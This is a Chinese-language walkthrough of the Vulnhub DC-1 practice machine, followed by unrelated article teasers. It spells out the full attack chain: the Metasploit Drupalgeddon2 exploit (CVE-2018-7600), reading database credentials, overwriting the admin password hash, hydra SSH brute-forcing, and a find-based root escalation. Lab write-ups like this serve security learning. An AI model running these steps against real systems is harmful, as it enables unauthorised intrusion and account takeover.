Vulnhub靶场----1、DC-1

news/2024/5/21 0:35:48/文章来源:https://blog.csdn.net/sycamorelg/article/details/129121742

文章目录

    • 一、环境搭建
    • 二、渗透流程
    • 三、思路总结


一、环境搭建

靶场下载地址:https://download.vulnhub.com/dc/DC-1.zip
Kali地址:192.168.144.148
DC-1靶机地址:192.168.144.149


二、渗透流程

端口扫描:nmap -A -T4 192.168.144.149
开放端口22、80、111
在这里插入图片描述

访问web页面:http://192.168.144.148:80
站点为Drupal
在这里插入图片描述

利用metasploit搜索drupal相关exploit
命令:search drupal
在这里插入图片描述

use 1use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 192.168.144.148
runexploit
得到meterpreter
在这里插入图片描述
在这里插入图片描述

ls 得到flag1.txt
在这里插入图片描述

交互式获取shell:
shell
python -c "import pty;pty.spawn('/bin/bash')"
在这里插入图片描述
在这里插入图片描述

flag1.txt提示查看配置文件,drupal的配置文件位置/sites/default/setting.php
cd /sites/default
cat settings.php
在这里插入图片描述

flag2.txt提示有数据库账密
连接数据库:mysql -u dbuser -p
使用数据库:use drupaldb;
获取表:show tables;
在这里插入图片描述

查看表users字段:select * from users;
字段值使用hash加密
在这里插入图片描述

Drupal可以利用password-hash.sh文件来对密码进行加密,生成密文。
查找password-hash.sh文件:find / -name password-hash*
cd /var/www
加密密码test2:scripts/password-hash.sh test2
在这里插入图片描述

数据库中更新密码:update users set pass="$S$D/heNxs7AXrpES/O0QYuv9trlOefIrXmfo7PrdJRxd8mjU1e1e9l" where name="admin";
在这里插入图片描述

使用admin:test2登录,查看flag3.txt
在这里插入图片描述

根据flag3.txt提示进入/etc/passwd得到flag4账户
cat /etc/passwd
在这里插入图片描述

尝试对flag4账户进行暴力破解
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.144.149
获取到密码:orange
在这里插入图片描述

ssh连接flag4账户:ssh flag4@192.168.144.149
提示使用find提权
在这里插入图片描述

find提权:find flag4.txt -exec /bin/bash -p \;
在这里插入图片描述

查看最后一个flag:thefinalflag.txt
在这里插入图片描述


三、思路总结

1、nmap端口扫描访问web页面,
80端口:站点使用drupal CMS
22:SSH
2、metasploit 搜索drupal 相关漏洞利用(Drupal Drupalgeddon2远程代码执行漏洞(CVE-2018-7600))
3、获取到metapreter,逃逸Linux获取TTY shell
4、利用Drupal加密特点对密码加密,进行密码替换
5、ssh密码暴力破解
6、find提权:find . -exec /bin/sh \; -quit

参考链接:[https://blog.mzfr.me/vulnhub-writeups/2019-07-12-DC1](https://blog.mzfr.me/vulnhub-writeups/2019-07-12-DC1)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_261024.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于 U-Net 网络的遥感图像语义分割 完整代码+论文

一、研究目的U-Net 是一种由全卷积神经网络启发的对称结构网络,在医疗影像分割领域取得了很好的效果。 此次研究尝试使用 U-Net 网络在对多光谱遥感影像数据集上进行训练,尝试使用卷积神经网络自动分割出建筑,希望能够得到一种自动分割遥感影…

基于Java+SpringBoot+Vue+Uniapp前后端分离健身预约系统设计与实现

博主介绍:✌全网粉丝3W,全栈开发工程师,从事多年软件开发,在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战✌ 博主作品:《微服务实战》专栏是本人的实战经验总结,《Spring家族及…

数字经济讨论题

自2001年以来,Alphabet(Google)已进行了200多次并购。下面列出了并购年份。选择Alphabet进行的三笔并购讨论这些并购是如何使Alphabet拥有新的或增强的现有业务领域重要的是考虑何时进行所选择的收购。谷歌已经从一家提供互联网搜索引擎的公司…

【VUE3.0_CSS功能】

CSS功能组件css作用域深度选择器(标签名空格:deep(标签名))插槽选择器(:soltted(标签名))全局选择器(:global(类名))动态CSS(v-bind)useCSSModule拓展知识:deep的写法组件…

拒绝背锅:测试项目中的风险管理一定要知道

测试经理除了要管理产品线的质量保障和日常部门事务工作外,另一项比较重要的就是测试项目全流程的管理。 今天不聊整体的测试项目流程如何开展,而是想聊一聊在同行中比较高频出现的一个字眼:风险管理。 什么是风险管理 引用百度上的解释&a…

亿级高并发电商项目-- 实战篇 --万达商城项目 十二(编写用户服务、发送短信功能、发送注册验证码功能、手机号验证码登录功能、单点登录等模块)

👏作者简介:大家好,我是小童,Java开发工程师,CSDN博客博主,Java领域新星创作者 📕系列专栏:前端、Java、Java中间件大全、微信小程序、微信支付、若依框架、Spring全家桶 &#x1f4…

ES6的迭代器与迭代协议Symbol.iterator

前言ES6新增了两个协议:可迭代协议:对象必须具有Symbol.Iterator属性,属性值为一个函数,当这个对象被迭代时,就会调用该函数,返回一个迭代器。迭代器协议:描述了迭代器对象的具体规则。迭代器迭…

数据分析-深度学习 NLP Day2关键词提取案例

训练一个关键词提取算法需要以下几个步骤:1)加载已有的文档数据集;2)加载停用词表;3)对数据集中的文档进行分词;4)根据停用词表,过滤干扰词;5)根据…

推荐5款免费且无广告的软件,助你提升效率

有时候一些小工具,能给你带来一些意想不到的效果,我们来看看下面这5款工具,你又用过其中几款呢? 1.文件大小查看——Folder Size Folder Size是一个可以查看文件大小的软件,使用它可以一键查看文件夹里的文件大小。你…

容器技术概述

容器化应用程序 软件应用程序通常依赖于运行时环境提供的其他库、配置文件或服务。软件应用程序的传统运行环境是物理主机或虚拟机,应用程序依赖项作为主机的一部分安装。 例如,考虑一个 Python 应用程序,它需要访问实现 TLS 协议的公共共享…

Leaf说明

什么是Leafleaf是叶子的意思我们使用的Leaf是美团公司开源的一个分布式序列号(id)生成系统我们可以在Github网站上下载项目直接使用为什么需要Leaf上面的图片中是一个实际开发中常见的读写分离的数据库部署格式专门进行数据更新(写)的有两个数据库节点它们同时新增数据可能产生…

性能测试学习和性能瓶颈分析路线

很多企业招聘都只写性能测试,会使用LR,jmeter工具。其实会使用jmeter和LR进行性能测试还只是性能测试的第一步,离真正的性能测试工程师还很远,笔者也还在路上 .。 性能测试,都是要求测试系统性能,系统自然…

【nas折腾篇】抉择吧,是入门还是放弃

2018年公司一位女同事问群晖的nas是否值得买。我一脸懵,以前给公司买云服务有采购nas盘,直接mount挂到服务器上当存储,但对于单独的nas服务器没有什么概念。一晃几年过去了,陆续刷到些nas服务的视频,周边朋友用nas的也…

2021-08-29

服务器 主:172.17.0.2 master 备:172.17.0.3 slave1 lvs虚拟IP:172.17.0.100 #nginx下载地址 http://nginx.org/download/ 本地文件路径 1.dockerfile构建nginx FROM centos:7 ADD nginx-1.6.0.tar.gz /usr/local COPY nginx_install.sh /usr/local RUN sh …

k8s种的kubectl命令

一.kubectl基本命令1.1 称述式资源管理的方法kubernetes集群管理集群资源的唯一入口是通过相应的方法调用apiserver的接口kubectl是官方的CLI命令行工具,用于与apiserver进行通信,将用户在命令行输入的命令,组织并转化为apiserver能识别的信息…

【单目标优化算法】海鸥优化算法(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

数组(一)-- LeetCode[26][80] 删除有序数组中的重复元素

1 删除有序数组中的重复项 1.1 题目描述 给你一个 升序排列 的数组 nums ,请你 原地 删除重复出现的元素,使每个元素 只出现一次,返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。 由于在某些语言中不能改变数组的长度&#xff0c…

内部知识管理应该怎么做?

许多公司都知道需要有一个面向客户的知识库,以加强客户服务,提供更好的客户体验。 但是很多企业没有意识到的是,拥有一个内部知识库软件对于员工改善沟通和促进知识共享的重要性。 协作是组织成功的关键部分,通过明确的远景和使命…

消灭EMC的三大利器:电容器/电感/磁珠

滤波电容器、共模电感、磁珠在EMC设计电路中是常见的身影,也是消灭电磁干扰的三大利器。 对于这三者在电路中的作用,相信还有很多工程师搞不清楚,文章从设计中详细分析了消灭EMC三大利器的原理。 1 、滤波电容 尽管从滤除高频噪声的角度…

Java数组,超详细整理,适合新手入门

目录 一、什么是Java中的数组? 二、数组有哪些常见的操作? 三、数组的五种赋值方法和使用方法 声明数组 声明数组并且分配空间 声明数组同时赋值(1) 声明数组同时赋值(2) 从控制台输入向数组赋值 四、求总和平均 五、求数组中最大值最小值 六…